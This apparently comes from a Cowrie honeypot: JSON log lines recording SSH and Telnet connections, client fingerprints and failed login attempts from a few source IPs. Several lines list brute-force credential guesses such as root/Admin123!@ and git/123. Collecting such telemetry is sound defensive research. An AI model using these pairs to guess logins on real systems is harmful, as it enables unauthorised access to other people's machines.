{"eventid":"cowrie.session.closed","duration":43.83826971054077,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:28.662518Z","src_ip":"152.42.224.71","session":"c0993bfa8aae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:28.899184Z","src_ip":"176.65.132.129","session":"dd080afebaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:29.984890Z","src_ip":"176.65.132.129","session":"dd080afebaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37754,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1da8ec0d234","protocol":"ssh","message":"New connection: 176.65.132.129:37754 (159.203.135.109:22) [session: e1da8ec0d234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:31.805679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:31.810418Z","src_ip":"176.65.132.129","session":"e1da8ec0d234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:31.892303Z","src_ip":"176.65.132.129","session":"e1da8ec0d234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:32.138103Z","src_ip":"176.65.132.129","session":"e1da8ec0d234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.593571186065674,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:32.251777Z","src_ip":"152.42.224.71","session":"8086e81f4c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:33.318393Z","src_ip":"176.65.132.129","session":"e1da8ec0d234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37760,"dst_ip":"159.203.135.109","dst_port":22,"session":"499b852a8e42","protocol":"ssh","message":"New connection: 176.65.132.129:37760 (159.203.135.109:22) [session: 499b852a8e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:34.921656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:34.926421Z","src_ip":"176.65.132.129","session":"499b852a8e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:35.012442Z","src_ip":"176.65.132.129","session":"499b852a8e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:35.266453Z","src_ip":"176.65.132.129","session":"499b852a8e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:36.351567Z","src_ip":"176.65.132.129","session":"499b852a8e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":43906,"dst_ip":"10.17.0.5","dst_port":22,"session":"340338530ad2","protocol":"ssh","message":"New connection: 20.193.250.100:43906 (10.17.0.5:22) [session: 340338530ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:37.740352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:37.747635Z","src_ip":"20.193.250.100","session":"340338530ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbd1efcb4be","protocol":"telnet","message":"New connection: 152.42.224.71:59792 (10.17.0.5:23) [session: efbd1efcb4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:37.778373Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:37.948549Z","src_ip":"20.193.250.100","session":"340338530ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50230,"dst_ip":"159.203.135.109","dst_port":22,"session":"591ec8d739c6","protocol":"ssh","message":"New connection: 176.65.132.129:50230 (159.203.135.109:22) [session: 591ec8d739c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:38.199945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:38.204039Z","src_ip":"176.65.132.129","session":"591ec8d739c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:38.286130Z","src_ip":"176.65.132.129","session":"591ec8d739c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:38.707804Z","src_ip":"176.65.132.129","session":"591ec8d739c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@","message":"login attempt [root/Admin123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:38.811356Z","src_ip":"20.193.250.100","session":"340338530ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:39.890288Z","src_ip":"176.65.132.129","session":"591ec8d739c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:40.025995Z","src_ip":"20.193.250.100","session":"340338530ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8047b69a33","protocol":"telnet","message":"New connection: 152.42.224.71:59804 (10.17.0.5:23) [session: 5e8047b69a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.053267Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50242,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc3a64f430e","protocol":"ssh","message":"New connection: 176.65.132.129:50242 (159.203.135.109:22) [session: 4fc3a64f430e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.648059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.653121Z","src_ip":"176.65.132.129","session":"4fc3a64f430e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02760934829712,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.665673Z","src_ip":"152.42.224.71","session":"66080ec75888","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.735261Z","src_ip":"176.65.132.129","session":"4fc3a64f430e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:41.980392Z","src_ip":"176.65.132.129","session":"4fc3a64f430e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"5038448dfc30","protocol":"telnet","message":"New connection: 152.42.224.71:59808 (10.17.0.5:23) [session: 5038448dfc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:42.420703Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:43.064346Z","src_ip":"176.65.132.129","session":"4fc3a64f430e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59812,"dst_ip":"10.17.0.5","dst_port":23,"session":"20dc2cc583aa","protocol":"telnet","message":"New connection: 152.42.224.71:59812 (10.17.0.5:23) [session: 20dc2cc583aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:43.443995Z"}
{"eventid":"cowrie.session.closed","duration":48.759764671325684,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:44.307210Z","src_ip":"152.42.224.71","session":"05791a19e0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50258,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a3291ca9a7","protocol":"ssh","message":"New connection: 176.65.132.129:50258 (159.203.135.109:22) [session: 90a3291ca9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:44.851347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:44.857036Z","src_ip":"176.65.132.129","session":"90a3291ca9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:44.940426Z","src_ip":"176.65.132.129","session":"90a3291ca9a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:45.187895Z","src_ip":"176.65.132.129","session":"90a3291ca9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:46.274980Z","src_ip":"176.65.132.129","session":"90a3291ca9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.5079402923584,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:47.872646Z","src_ip":"152.42.224.71","session":"c6d75fd32cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.01858830451965,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:47.899904Z","src_ip":"152.42.224.71","session":"beced504211e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45736,"dst_ip":"159.203.135.109","dst_port":22,"session":"074e4cce4e78","protocol":"ssh","message":"New connection: 176.65.132.129:45736 (159.203.135.109:22) [session: 074e4cce4e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:47.994008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:47.998851Z","src_ip":"176.65.132.129","session":"074e4cce4e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:48.080823Z","src_ip":"176.65.132.129","session":"074e4cce4e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:48.326870Z","src_ip":"176.65.132.129","session":"074e4cce4e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45908,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a42f6a7bd44","protocol":"telnet","message":"New connection: 152.42.224.71:45908 (10.17.0.5:23) [session: 6a42f6a7bd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:48.444127Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:49.412453Z","src_ip":"176.65.132.129","session":"074e4cce4e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45744,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97a551c6755","protocol":"ssh","message":"New connection: 176.65.132.129:45744 (159.203.135.109:22) [session: f97a551c6755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.194136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.197950Z","src_ip":"176.65.132.129","session":"f97a551c6755","protocol":"ssh"}
